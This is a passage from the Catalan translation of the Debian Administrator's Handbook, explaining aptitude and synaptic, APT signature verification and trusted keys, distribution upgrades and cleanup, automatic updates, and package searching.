Amb el mateix esperit, recordin que l'aptitude fa un ús intel·ligent del concepte de tasca. Com que les tasques es mostren com a categories a les pantalles de les llistes de paquets, podeu seleccionar una tasca completa per a la instal·lació o l'eliminació, o navegar per la llista de paquets inclosos a la tasca per a seleccionar-ne un subconjunt més petit.

6.5.1.2. Millors algorismes de resolució

Per concloure aquesta secció, tingueu en compte que l'aptitude té algorismes més elaborats en comparació amb apt-get quan es tracta de resoldre situacions difícils. Quan se sol·licita un conjunt d'accions i quan aquestes accions combinades podrien conduir a un sistema incoherent, l'aptitude avalua diversos escenaris possibles i els presenta per ordre decreixent de rellevància. Amb tot, aquests algorismes no són infal·libles. Afortunadament, sempre hi ha la possibilitat de seleccionar manualment les accions a realitzar. Quan les accions actualment seleccionades condueixen a contradiccions, la part superior de la pantalla indica un nombre de paquets “trencats” (i podeu navegar directament a aquests paquets prement b). Llavors és possible construir manualment una solució per als problemes trobats. En particular, podeu accedir a les diferents versions disponibles simplement seleccionant el paquet amb Retorn. Si la selecció d'una d'aquestes versions resol el problema, no heu de dubtar en utilitzar la funció. Quan el nombre de paquets trencats baixi a zero, podeu anar amb seguretat a la pantalla de resum de les accions pendents per a una darrera comprovació abans d'aplicar-les.

NOTA El registre de l'aptitude

Com el dpkg, l'aptitude manté un rastre d'accions executades en el seu fitxer de registre (/var/log/aptitude). No obstant això, ja que ambdues ordres funcionen a un nivell molt diferent, no podeu trobar la mateixa informació als seus respectius fitxers de registre. Mentre que dpkg registra totes les operacions executades en paquets individuals pas a pas, l'aptitude dóna una visió més àmplia de les operacions d'alt nivell com ara una actualització a tot el sistema.

Compte, aquest fitxer de registre només conté un resum de les operacions realitzades per l'aptitude. Si s'utilitzen de tant en tant altres interfícies (o fins i tot el mateix dpkg), llavors el registre d'aptitude només contindrà una vista parcial de les operacions, de manera que no es pot confiar en ell per construir una història fiable del sistema.

6.5.2. synaptic

synaptic és un gestor gràfic de paquets per a Debian que compta amb una interfície gràfica neta i eficient basada en GTK+/GNOME. Els seus molts filtres preparats donen accés ràpid als paquets recentment disponibles, paquets instal·lats, paquets actualitzables, paquets obsolets, etc. Si navegueu a través d'aquestes llistes, podeu seleccionar les operacions que s'han de fer en els paquets (instal·lar, actualitzar, eliminar, purgar); aquestes operacions no es realitzen immediatament, sinó que es posen en una llista de tasques. Un sol clic en un botó després, valida les operacions, i es realitzen totes de cop.

Figura 6.2. gestor de paquets synaptic

6.6. Comprovació de l'autenticitat d'un paquet

La seguretat és molt important per als administradors de Falcot Corp. Per tant, han d'assegurar-se que només instal·len paquets que estiguin garantits que provenen de Debian sense cap mena de manipulació pel camí. Un «cracker» d'ordinadors podria intentar afegir codi maliciós a un paquet d'altra banda legítim. Aquest paquet, si s'instal·la, podria fer qualsevol cosa per a la qual el «cracker» l'hagi dissenyat, incloent, per exemple, la revelació de contrasenyes o d'informació confidencial. Per evitar aquest risc, Debian proporciona un segell a prova de manipulació per garantir — en el moment d'instal·lació — que un paquet prové del seu mantenidor oficial i no ha estat modificat per un tercer.

El segell funciona amb una cadena de resums («hashes») criptogràfics i una signatura, i s'explica en detall a apt-secure(8). A partir de Debian 10 Buster, el fitxer signat és InRelase, proporcionat pels miralls de Debian. També hi ha un fitxer antic anomenat Release. Tots dos contenen una llista dels fitxers Packages (incloent-hi les seves formes comprimides, Packages.gz i Packages.xz, i les versions incrementals), juntament amb els corresponents resums («hashes») SHA256, que asseguren que els fitxers no han estat manipulats. Aquests fitxers Packages contenen una llista dels paquets Debian disponibles al mirall, juntament amb els seus “hashes”, que garanteixen al seu torn que el contingut dels mateixos paquets no ha estat alterat. La diferència entre InRelease i Release és que el primer està signat criptogràficament en línia, mentre que el segon proporciona una signatura separada en la forma del fitxer Release.gpg.

NOTA El futur de Release i Release.gpg

Després del llançament de Debian 10 Buster es va anunciar la intenció d'eliminar el suport pels antics fitxers Release i Release.gpg, usats des d'APT 0.6, queintroduïa el suport per a l'autenticació d'un arxiu.

APT necessita un conjunt de claus públiques de GnuPG de confiança per verificar signatures als fitxers InRelease i Release.gpg disponibles als miralls. Els obté dels fitxers de /etc/apt/trusted.gpg.d i de l'anell de claus /etc/apt/trusted.gpg (gestionat per l'ordre apt-key). Les claus oficials de Debian són proporcionades i mantingudes al dia pel paquet de debian-archive-keyring que les posa a /etc/apt/trusted.gpg.d/:

# ls /etc/apt/trusted.gpg.d/ debian-archive-bullseye-automatic.gpg debian-archive-bullseye-security-automatic.gpg debian-archive-bullseye-stable.gpg debian-archive-buster-automatic.gpg debian-archive-buster-security-automatic.gpg debian-archive-buster-stable.gpg debian-archive-stretch-automatic.gpg debian-archive-stretch-security-automatic.gpg debian-archive-stretch-stable.gpg

A LA PRÀCTICA Afegir claus de confiança

Quan s'afegeix una font de paquets de tercers al fitxer sources.list, s'ha de dir a APT que confiï en la clau d'autenticació GPG corresponent (en cas contrari, continuarà queixant-se que no pot assegurar l'autenticitat dels paquets procedents d'aquest repositori). El primer pas és, per descomptat, aconseguir la clau pública. Sovint, la clau es proporcionarà com un petit fitxer de text, que anomenarem clau.asc en els següents exemples.

Per afegir la clau a l'anell de claus de confiança d'APT, l'administrador pot posar-la en un fitxer *.gpg a /etc/apt/trusted.gpg.d/ (es desaconsellen els fitxers *.asc i poden causar problemes). Això és compatible des de Debian Stretch. Amb versions més antigues, s'havia d'executar apt-key add < key.asc, que ja és considerat obsolet.

Tot i que és un comportament molt comú, també crea un possible problema. APT no sap quina clau pertany a quin repositori. Si una de les claus de l'anell de claus d'APT coincideix amb la signatura d'un arxiu, APT considera l'arxiu com a autenticat. Una vegada que s'ha afegit una clau a l'anell de claus de confiança, un atacant maliciós podria proporcionar la seva pròpia "versió" d'un mirall Debian signat per la mateixa clau. Així, podria ser millor posar la clau en un fitxer *.gpg a /usr/share/keyrings/ i utilitzar el camp Signed-By a sources.list per a repositoris de tercers com es mostra a l'exemple següent.

Imagineu que el Falcot Corp. té el seu propi repositori públic i el voleu utilitzar. L'han signat i proporcionen una clau(anell) públicament també per descarregar. Per a restringir la clau al repositori, simplement cal que feu:

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Aneu amb compte que afegir i utilitzar dipòsits de tercers sempre suposa un risc de seguretat i estabilitat!

Un cop les claus apropiades estan a l'anell de claus, APT comprovarà les signatures abans de qualsevol operació arriscada, de manera que els «frontends» mostraran un avís si se'ls demana que instal·lin un paquet l'autenticitat del qual no es pot determinar.

Tingueu en compte que els paquets binaris normalment no estan signats. La integritat d'un paquet només es pot confirmar comprovant les seves sumes de verificació contra una font de sumes de verificació de confiança (i possiblement signada).

CAS ESPECÍFIC Repositoris sense signar

Encara que en general no s'han d'utilitzar dipòsits sense signar, alguns usuaris encara poden requerir-los, per exemple per proporcionar alguns paquets construïts localment. APT pot ser forçat a acceptar aquest repositori prefixant l'URL del repositori amb allow-insecure=yes o trusted=yes. Ho demostrarem utilitzant l'exemple de Secció 15.3, «Creació d'un repositori de paquets per a APT»:

deb [ trusted=yes ] http://packages.falcot.com/ updates/ deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. Actualització d'una distribució estable a la següent

Una de les característiques més conegudes de Debian és la seva capacitat d'actualitzar un sistema instal·lat d'una versió estable a la següent: dist-upgrade — una frase ben coneguda — ha contribuït en gran mesura a la reputació del projecte. Amb unes quantes precaucions, la millora d'un ordinador pot prendre tan sols uns pocs minuts, o unes poques dotzenes de minuts, depenent de la velocitat de descàrrega dels dipòsits de paquets.

6.7.1. Procediment recomanat

Com que Debian té bastant temps per evolucionar entre dues versions estables, hauríeu de llegir les notes de publicació abans d'actualitzar.

TORNAR A LES BASESNotes de publicació

Les notes de publicació per a un sistema operatiu (i, més en general, per a qualsevol programari) són un document que dóna una visió general del programari, amb alguns detalls sobre les particularitats d'una versió. Aquests documents són generalment curts en comparació amb la documentació completa, i normalment es llisten les característiques que s'han introduït des de la versió anterior. També donen detalls sobre l'actualització de procediments, advertències per als usuaris de versions anteriors, i de vegades errates.

Les notes de publicació de Debian estan disponibles en línia: les notes de publicació per a la versió estable actual tenen una URL dedicada, mentre que les notes de publicació més antigues es poden trobar amb els seus noms en clau:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

En aquesta secció, ens centrarem a actualitzar un sistema Buster a Bullseye. Es tracta d'una operació cabdal en un sistema; com a tal, mai està exempt de riscos al 100%, i no hauria d'intentar-se abans d'haver fet còpies de seguretat de totes les dades importants.

Un altre bon hàbit que fa que l'actualització sigui més fàcil (i més curta) és posar ordre als vostres paquets instal·lats i mantenir només els que són realment necessaris. Les eines útils per fer-ho inclouen l'aptitude, el deborphan, el debfoster, i apt-show-versions (vegeu Secció 6.2.7, «Seguiment dels paquets instal·lats automàticament»). Per exemple, podeu utilitzar la següent ordre i, a continuació, utilitzar el mode interactiu de l'aptitude per a comprovar i afinar les eliminacions programades:

# deborphan | xargs aptitude --schedule-only remove

SUGGERIMENTTrobar arxius modificats

L'ordre debsums pot comprovar si els fitxers que formen part d'un paquet instal·lat s'han alterat al sistema local. Utilitza un simple algorisme de suma de resum («hashsum») i la informació a /var/lib/dpkg/info/paquet.md5sums (vegeu Secció 5.2.3, «Sumes de verificació («checksums»), llista de fitxers de configuració, i altres.»). Per a trobar tots els fitxers de configuració alterats utilitzeu debsums -ec. Per comprovar tot el sistema, utilitzeu debsums -c.

I ara l'actualització en si mateixa. Primer, heu de canviar el fitxer /etc/apt/sources.list per dir-li a APT que obtingui els paquets de Bullseye en lloc dels d'Buster. Si el fitxer només conté referències a Stable en lloc de noms de codi explícits, el canvi ni tant sols fa falta, ja que Stable sempre es refereix a l'última versió publicada de Debian. En tots dos casos, la base de dades dels paquets disponibles s'ha de refrescar amb l'ordre apt update o el botó d'actualització al synaptic (Secció 6.2.1, «Inicialització»).

NOTA Canvis a la informació del repositori

Quan s'allibera una nova versió estable de Debian, alguns camps en els arxius Release i InRelease del repositori canvien, com el camp Suite. Quan això passa, la descàrrega de dades des del repositori es declina fins que es confirmi el canvi per assegurar-se que l'usuari està preparat. Per confirmar el canvi utilitzeu les opcions --allow-releaseinfo-change o --allow-releaseinfo-change-camp per a apt-get o l'opció de configuració Acquire::AllowReleaseInfoChange.

Un cop s'hagin registrat aquestes noves fonts de paquets, primer hauríeu de fer una actualització mínima amb apt upgrade i d'altres com es descriu a Secció 6.2.3, «Actualització del sistema». Al fer l'actualització en dues passes facilitem la feina de les eines de gestió de paquets i sovint garantim que tenim les últimes versions d'aquestes, que podrien haver acumulat correccions d'errors i millores necessàries per completar l'actualització de la distribució completa.

Una vegada que es fa aquesta primera actualització, és hora de gestionar la mateixa actualització, ja sigui ambapt full-upgrade , aptitude o synaptic (Secció 6.7, «Actualització d'una distribució estable a la següent»). Hauríeu de comprovar acuradament les accions suggerides abans d'aplicar-les: potser voleu afegir paquets suggerits o “desseleccionar” paquets que només es recomanen i que sabeu que no us són útils. En qualsevol cas, la interfície hauria de presentar un escenari que acabés en un sistema Bullseye coherent i actualitzat. Llavors, tot el que cal fer és esperar mentre es descarreguen els paquets requerits, respondre a les preguntes del «debconf» i, possiblement, a les qüestions relatives als fitxers de configuració modificats localment, i seure mentre APT fa la seva màgia.

6.7.2. Gestió de problemes després d'una actualització

Malgrat els millors esforços dels mantenidors de Debian, una actualització major del sistema no sempre va tan fluïda com podríeu desitjar. Les noves versions de programari poden ser incompatibles amb les anteriors (per exemple, el seu comportament predeterminat o el seu format de dades pot haver canviat). A més, alguns errors poden passar escolar-se malgrat la fase de prova que sempre precedeix una nova versió de Debian.

Per anticipar alguns d'aquests problemes, podeu instal·lar el paquet apt-listchanges, que mostra informació sobre possibles problemes al començament d'una actualització de paquet. Aquesta informació és compilada pels mantenidors del paquet i es posa en fitxers /usr/share/doc/paquet/NEWS.Debian en benefici dels usuaris. La lectura d'aquests fitxers (possiblement mitjançant apt-listchanges) hauria d'ajudar-vos a evitar sorpreses desagradables.

A vegades podeu trobar que la nova versió d'un programari no funciona de cap manera. Això generalment passa si l'aplicació no és particularment popular i no s'ha provat prou; una actualització d'última hora també pot introduir regressions que només es detecten després de la publicació estable. En ambdós casos, el primer que cal fer és mirar al sistema de seguiment d'errors a https://bugs.debian.org/paquet, i comprovar si el problema ja ha estat informat. Si aquest és el cas, també es llistarà abans que comenci l'actualització si teniu instal·lat apt-listbugs. Si no ho ha estat, ho hauríeu d'informar vosaltres mateixos amb .reportbug. Si ja és conegut, l'informe d'error i els missatges associats solen ser una excel·lent font d'informació relacionada amb l'error:

de vegades ja existeix un pedaç («patch» en anglès), i està disponible a l'informe d'error; a continuació, podeu tornar a compilar localment una versió corregida del paquet trencat (vegeu Secció 15.1, «Recompilació d'un paquet a partir de les fonts»);

en altres casos, els usuaris poden haver trobat una solució al problema i haver compartit les seves idees sobre aquest en les seves respostes a l'informe;

i encara en altres casos, pot ser que el mantenidor ja hagi preparat i fet públic un paquet corregit.

Depenent de la gravetat de l'error, una nova versió del paquet es pot preparar específicament per a una nova revisió de la versió estable. Quan això passa, el paquet corregit està disponible a la secció proposed-updates de les rèpliques de Debian (vegeu Secció 6.1.2.3, «Actualitzacions proposades»). L'entrada corresponent es pot afegir temporalment al fitxer sources.list, i els paquets actualitzats es poden instal·lar amb apt o aptitude.

De vegades el paquet corregit encara no està disponible en aquesta secció perquè està pendent de validació pels «Stable Release Managers». Podeu verificar si aquest és el cas a la seva pàgina web. Els paquets llistats encara no estan disponibles, però almenys sabeu que el procés de publicació està en curs.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Fent neteja després d'una actualització

APT normalment garanteix una actualització neta, fent seguir les dependències noves o actualitzades, o eliminant paquets en conflicte. Però fins i tot sent una eina tan fantàstica, no pot abastar totes les tasques que els usuaris i administradors hauran d'afrontar després d'una actualització, perquè requereixen una decisió humana.

6.7.3.1. Paquets suprimits de l'Arxiu de Debian

De vegades els «ftpmasters» de Debian (administradors del servei «ftp») eliminen paquets de l'arxiu Debian perquè contenen errors crítics, o per estar abandonats pel seu autor principal o pel seu mantenidor de paquets, o simplement van arribar al seu final de vida. En aquest cas, una versió nova de Debian ja no inclourà el paquet. Per trobar tots els paquets que no tenen un paquet font utilitzeu l'ordre apt-show-versions:

$ apt-show-versions | grep "No available version"

Un resultat similar es pot aconseguir mitjançant aptitude search ~o. Si els paquets trobats ja no són necessaris s'haurien de purgar del sistema, perquè ja no tindran actualitzacions per a errors crítics o relacionats amb la seguretat.

6.7.3.2. Paquets “babaus” i de transició

A vegades pot ser necessari que un paquet rebi un nou nom. En aquest cas, sovint el paquet antic es manté com un paquet (gairebé) buit, depenent del nou i instal·lant només els fitxers obligatoris a /usr/share/doc/paquet/. Aquests paquets s'anomenen paquets “babaus” («dummy») o “transicionals”. Si el mantenidor a càrrec del paquet també ha canviat la secció d'aquest paquet a oldlibs, llavors les eines com ara aptitude, deboprhan o debfoster (vegeu la barra lateral ALTERNATIVA deborphan i debfoster) poden detectar aquests paquets per suggerir-ne l'eliminació.

Per desgràcia, actualment no existeix una manera infal·lible d'assegurar-se que aquests paquets siguin automàticament eliminats o detectats per les eines esmentades anteriorment. Una manera de comprovar si el sistema encara té instal·lats alguns d'aquests paquets és mirar a través de les descripcions dels paquets instal·lats i després comprovar els resultats. Aneu amb compte de no programar els resultats per a l'eliminació automàtica, perquè aquest mètode pot originar falsos positius:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Com que el nou paquet s'introdueix com una dependència del paquet de transició, normalment es marca com a instal·lat automàticament i pot estar programat per a la seva eliminació si intenteu purgar el paquet de transició del vostre sistema. En aquest cas, es pot utilitzar qualsevol dels enfocaments descrits en la barra lateral SUGGERIMENT Eliminant i instal·lant al mateix temps i Secció 6.2.7, «Seguiment dels paquets instal·lats automàticament» per eliminar selectivament el paquet de transició.

6.7.3.3. Fitxers de configuració antics o no utilitzats

Si l'actualització ha tingut èxit, pot haver-hi algun fitxer de configuració brossa, ja sigui de dpkg (vegeu Secció 5.2.3, «Sumes de verificació («checksums»), llista de fitxers de configuració, i altres.»), ucf o de paquets suprimits. Aquests últims es poden purgar mitjançant l'ús d'apt autoremove --purge. Els fitxers de configuració que van ser gestionats per dpkg o ucf durant el procés d'actualització poden haver deixat alguns homòlegs amb un sufix dedicat, per exemple .dpkg-dist, .dpkg-old, .ucf-old. L'ús de l'ordre find o de locate pot ajudar a localitzar-los. Si ja no tenen cap utilitat, poden ser eliminats.

6.7.3.4. Fitxers que no són de cap paquet

La Política de Debian imposa que els paquets no deixin fitxers enrere quan són purgats. Violar aquest principi és un error greu i rarament el trobareu. Si ho feu, informeu-ne; i si teniu curiositat, podeu utilitzar el paquet cruft o cruft-ng per comprovar el vostre sistema de fitxers que no són propietat de cap paquet.

6.8. Mantenir un sistema actualitzat

La distribució Debian és dinàmica i canvia contínuament. La majoria dels canvis es donen a les versions Testing i Unstable, però fins i tot Stable s'actualitza de tant en tant, principalment per a correccions relacionades amb la seguretat. Sigui quina sigui la versió de Debian que un sistema executa, generalment és una bona idea mantenir-lo actualitzat, de manera que pugueu obtenir el benefici de l'evolució recent i correccions d'errors.

Si bé és possible executar periòdicament una eina per comprovar si hi ha actualitzacions disponibles i aplicar-es, aquesta tasca repetitiva és tediosa, especialment quan s'ha de realitzar en diverses màquines. Afortunadament, com moltes tasques repetitives, pot ser parcialment automatitzada, i ja s'ha desenvolupat un conjunt d'eines a aquest efecte.

La primera d'aquestes eines és apticron, al paquet del mateix nom. El seu principal efecte és executar un guió («script») diàriament (via cron). L'«script» actualitza la llista de paquets disponibles i, si alguns paquets instal·lats no es troben a l'última versió disponible, envia un correu electrònic amb una llista d'aquests paquets juntament amb els canvis que s'han fet en les noves versions. Òbviament, aquest paquet s'adreça principalment als usuaris de Debian Stable, ja que els correus electrònics diaris serien molt llargs per a les versions més ràpides de Debian. Quan hi ha actualitzacions disponibles, l'apticron les descarrega automàticament. No les instal·la — l'administrador ho haurà de fer — però tenir els paquets ja descarregats i disponibles localment (a la memòria cau d'APT) fa la tasca més ràpida.

Els administradors a càrrec de diversos ordinadors sens dubte apreciaran ser informats de les actualitzacions pendents, però les actualitzacions en si són tan tedioses com sempre. Les actualitzacions periòdiques es poden activar: utilitza una unitat de temporitzador de systemd o cron. Si systemd no està instal·lat, l'«script» /etc/cron.daily/apt-compat (al paquet apt) serà útil. Aquest «script» és executat diàriament (i sense interacció) per cron. Per controlar-ne el comportament, utilitzeu variables de configuració APT (que s'emmagatzemen al fitxer /etc/apt/apt.conf.d/10periodic). Les variables principals són:

APT::Periodic::Update-Package-Lists

Aquesta opció permet especificar la freqüència (en dies) a la qual s'actualitzen les llistes de paquets. Els usuaris d'apticron poden fer-ho sense aquesta variable, ja que apticron ja fa aquesta tasca.

APT::Periodic::Download-Upgradeable-Packages

De nou, aquesta opció indica una freqüència (en dies), aquest cop per a la descàrrega dels paquets en si. Un cop més, els usuaris apticron no la necessitaran.

APT::Periodic::AutocleanInterval

Aquesta opció cobreix una característica que no té apticron. Controla amb quina freqüència s'eliminen els paquets obsolets (aquells que ja no estan referenciats per cap distribució) de la memòria cau d'APT. Això manté la memòria cau d'APT a una mida raonable i significa que no cal preocupar-se per aquesta tasca.

APT::Periodic::Unattended-Upgrade

Quan aquesta opció està habilitada, l'«script» diari executaràunattended-upgrade (del paquet unattended-upgrades) que, com el seu nom suggereix, pot automatitzar el procés d'actualització per a alguns paquets (per defecte només s'ocupa de les actualitzacions de seguretat, però això es pot personalitzar a /etc/apt/apt.conf.d/50unattended-upgrades). Tingueu en compte que aquesta opció es pot establir amb l'ajuda de debconf executant dpkg-reconfigure -plow unattended-upgrades. Si s'instal·la apt-listbugs, s'evitarà una actualització automàtica dels paquets que es vegin afectats per un error seriós o greu ja informat.

Altres opcions us permeten controlar el comportament de neteja de la memòria cau amb més precisió. No estan llistades aquí, però es descriuen a l'«script» /usr/lib/apt/apt.systemd.daily.

Aquestes eines funcionen molt bé per a servidors, però els usuaris d'escriptori generalment prefereixen un sistema més interactiu. El paquet gnome-software proporciona una icona a l'àrea de notificació dels entorns d'escriptori quan hi ha actualitzacions disponibles; en fer clic sobre aquesta icona s'executa una interfície per realitzar actualitzacions. Podeu navegar per les actualitzacions disponibles, llegir la descripció curta dels paquets pertinents i les entrades corresponents del registre de canvis («changelog»), i seleccionar si aplicar o no l'actualització en cada cas.

Figura 6.3. Actualitzar amb gpk-update-viewer

Aquesta eina ja no està instal·lada a l'escriptori GNOME per defecte. La nova filosofia és que les actualitzacions de seguretat s'instal·lin automàticament, ja sigui en segon pla o, preferiblement, quan atureu l'ordinador per no confondre cap aplicació en execució.

6.9. Actualitzacions automàtiques

Com que Falcot Corp té molts ordinadors però la mà d'obra limitada, els seus administradors intenten fer actualitzacions el més automàtiques possible. Els programes encarregats d'aquests processos, per tant, han de funcionar sense intervenció humana.

6.9.1. Configurar dpkg

Com ja hem esmentat (vegeu la barra lateral ANANT MÉS ENLLÀ Evitant preguntes sobre els arxius de configuració), es pot indicar a dpkg que no demani confirmació en substituir un fitxer de configuració (amb les opcions --force-confdef --force-confold). Les interaccions poden, però, tenir unes altres tres fonts: algunes provenen del mateix APT, algunes són tractades per debconf, i altres es donen a la línia d'ordres a causa dels «scripts» de configuració dels paquets (de vegades gestionats per ucf).

6.9.2. Configurar l'APT

El cas d'APT és simple: l'opció -y (o --assume-yes) li diu a APT que consideri la resposta a totes les seves preguntes com un "sí".

6.9.3. Configurar debconf

El cas de debconf mereix més detall. Aquest programa va ser dissenyat, des de la seva creació, per controlar la rellevància i el volum de preguntes que es mostren a l'usuari, així com la forma en què es mostren. Per això la seva configuració sol·licita una prioritat mínima per a les preguntes; només es mostren les preguntes per sobre de la prioritat mínima. debconf assumeix la resposta predeterminada (definida pel mantenidor del paquet) per a les preguntes que va decidir ometre.

L'altre element de configuració rellevant és la interfície utilitzada. Si trieu noninteractive d'entre les opcions, tota la interacció de l'usuari queda desactivada. Si un paquet intenta mostrar una nota informativa, s'enviarà a l'administrador per correu electrònic.

Per reconfigurar el debconf, utilitzeu l'eina dpkg-reconfigure del paquet debconf; l'ordre rellevant és dpkg-reconfigure debconf. Tingueu en compte que els valors configurats es poden substituir temporalment amb variables d'entorn quan calgui (per exemple, DEBIAN_FRONTEND controla la interfície, com es documenta a la pàgina del manual de debconf(7)).

6.9.4. Gestió de la interacció a la línia d'ordres

La darrera font d'interaccions, i la més difícil de desfer-se'n, són els scripts de configuració executats per dpkg. Per desgràcia, no existeix una solució estàndard i cap resposta és aclaparadorament millor que una altra.

L'enfocament comú és suprimir l'entrada estàndard redirigint el contingut buit de /dev/null amb ordre < /dev/null, o passant-li un flux interminable de salts de línia. Cap d'aquests mètodes és fiable en un 100%, però en general porten a l'ús de les respostes per defecte, ja que la majoria dels scripts consideren la falta de resposta com una acceptació del valor per defecte.

6.9.5. La combinació miraculosa

Combinant els elements anteriors, és possible dissenyar un «script» petit però força fiable que pugui gestionar les actualitzacions automàtiques.

Exemple 6.5. «Script» d'actualització no interactiu

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

A LA PRÀCTICA El cas de Falcot Corp

Els ordinadors a Falcot són un sistema heterogeni, amb màquines que tenen diverses funcions. Per tant, els administradors triaran la solució més rellevant per a cada ordinador.

A la pràctica, els servidors que executen Bullseye estan configurats amb la "combinació miraculosa" anterior, i es mantenen actualitzats automàticament. Només els servidors més crítics (els tallafocs, per exemple) es configuren amb apticron, de manera que les actualitzacions sempre es fan sota la supervisió d'un administrador.

Les estacions de treball d'oficina en els serveis administratius també funcionen amb Bullseye, però estan equipades amb gnome-packagekit, de manera que els usuaris són qui activen les actualitzacions. El motiu d'aquesta decisió és que si les actualitzacions es fan sense una acció explícita, el comportament de l'ordinador podria canviar inesperadament, fet que podria causar confusió als seus usuaris principals.

Al laboratori, els pocs ordinadors que utilitzen Testing — per aprofitar les últimes versions de programari — tampoc s'actualitzen automàticament. Els administradors només configuren APT per preparar les actualitzacions però sense executar-les; quan decideixen actualitzar (manualment), s'estalviaran la part tediosa d'actualitzar les llistes de paquets i de baixar-los, i els administradors poden centrar-se en la part realment útil.

6.10. Cerca de paquets

Amb la gran quantitat de programari a Debian, i creixent contínuament, apareix una paradoxa: Debian normalment té una eina per a la majoria de tasques, però aquesta eina pot ser molt difícil de trobar entre tants paquets. La falta de maneres adequades de buscar (i trobar) l'eina adequada ha estat durant molt de temps un problema. Afortunadament, aquest problema s'ha resolt gairebé per complet.

La cerca més trivial possible és buscar un nom exacte de paquet. Si apt show paquet retorna un resultat, llavors el paquet existeix. Malauradament, això requereix saber o fins i tot endevinar el nom del paquet, cosa que no sempre és possible.

SUGGERIMENT Convencions per als noms dels paquets

Algunes categories de paquets s'anomenen segons un esquema de noms convencional; saber l'esquema de vegades pot permetre endevinar noms de paquets exactes. Per exemple, per als mòduls de Perl, la convenció diu que un mòdul anomenat originalment XML::Handler::Composer s'ha d'empaquetar com a libxml-handler-composer-perl. La biblioteca que permet l'ús del sistema gconf des de Python s'empaqueta com a python-gconf. Per desgràcia, no és possible definir un esquema de noms completament general per a tots els paquets, tot i que els mantenidors de paquets normalment intenten seguir l'elecció dels desenvolupadors principals.

Un patró de cerca lleugerament més reeixit és una cerca de text simple en els noms dels paquets, però continua sent molt limitat. Generalment podeu trobar resultats cercant a les descripcions dels paquets: atès que cada paquet té una descripció més o menys detallada a més del seu nom de paquet, una cerca de paraules clau en aquestes descripcions sovint serà útil. apt-cache i axi-cache són les eines a triar per a aquest tipus de cerca (vegeu ALTERNATIVA axi-cache); per exemple, el apt-cache search video retornarà una llista de tots els paquets el nom o la descripció dels quals conté la paraula clau “video”.

Per a cerques més complexes, es requereix una eina més poderosa com l'aptitude. L'aptitude us permet cercar d'acord amb una expressió lògica basada en els camps de metadades del paquet. Per exemple, la següent ordre cerca paquets el nom dels quals conté kino, la descripció del qual conté video i el nom del mantenidor del qual conté paul:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino Version: 1.3.4+dfsg0-1.1 State: not installed Priority: optional Section: video Maintainer: Paul Brossier <piem@debian.org> Architecture: amd64 Uncompressed Size: 8,316 k Depends: libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2), libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4 (>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>= 2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11 (>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>= 7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1 Recommends: ffmpeg, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386, kino:i386 Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386 Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, use::learning, works-with::video, x11::application

La cerca només retorna un paquet, kino, que satisfà els tres criteris.

Fins i tot aquestes cerques multicriteri són bastant difícils de manejar, la qual cosa explica per què no s'utilitzen tant com podrien. Per tant, s'ha desenvolupat un nou sistema d'etiquetatge i proporciona un nou enfocament per a la cerca. Als paquets se'ls assignen etiquetes que proporcionen una classificació temàtica en diversos eixos, coneguda com a "classificació basada en facetes". En el cas del kino anterior, les etiquetes del paquet indiquen que Kino és un programari basat en Gnome que funciona amb dades de vídeo i el propòsit principal del qual és l'edició.

Navegant per aquesta classificació us pot ajudar a cercar un paquet que correspongui a necessitats conegudes; fins i tot si retorna un nombre (moderat) de resultats, la resta de la cerca es pot fer manualment. Per fer-ho, podeu utilitzar el patró de cerca ~G a l'aptitude, però probablement és més fàcil navegar pel lloc on les etiquetes són gestionades o utilitzar l'ordre debtags:

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

Seleccionant les etiquetes works-with::video i use::editing s'obtenen un grapat de paquets, incloent els editors de vídeo kino i pitivi. Aquest sistema de classificació s'utilitzarà cada vegada més a mesura que passi el temps, i els gestors de paquets proporcionaran gradualment interfícies de cerca eficients basades en ell.

Resumint, la millor eina per a aquesta tasca depèn de la complexitat de la cerca que volgueu fer:

apt-cache només permet la cerca en noms i descripcions de paquets, que és molt convenient quan es busca un paquet en particular que coincideixi amb unes poques paraules clau com a objectiu;

quan els criteris de cerca també inclouen relacions entre paquets o altres metadades, com el nom del mantenidor, el synaptic serà més útil;

quan es necessita una cerca basada en etiquetes, una bona eina és packagesearch, una interfície gràfica dedicada a la cerca de paquets disponibles segons de diversos criteris (incloent els noms dels fitxers que contenen). Per a l'ús a la línia d'ordres, axi-cache anirà perfecte.

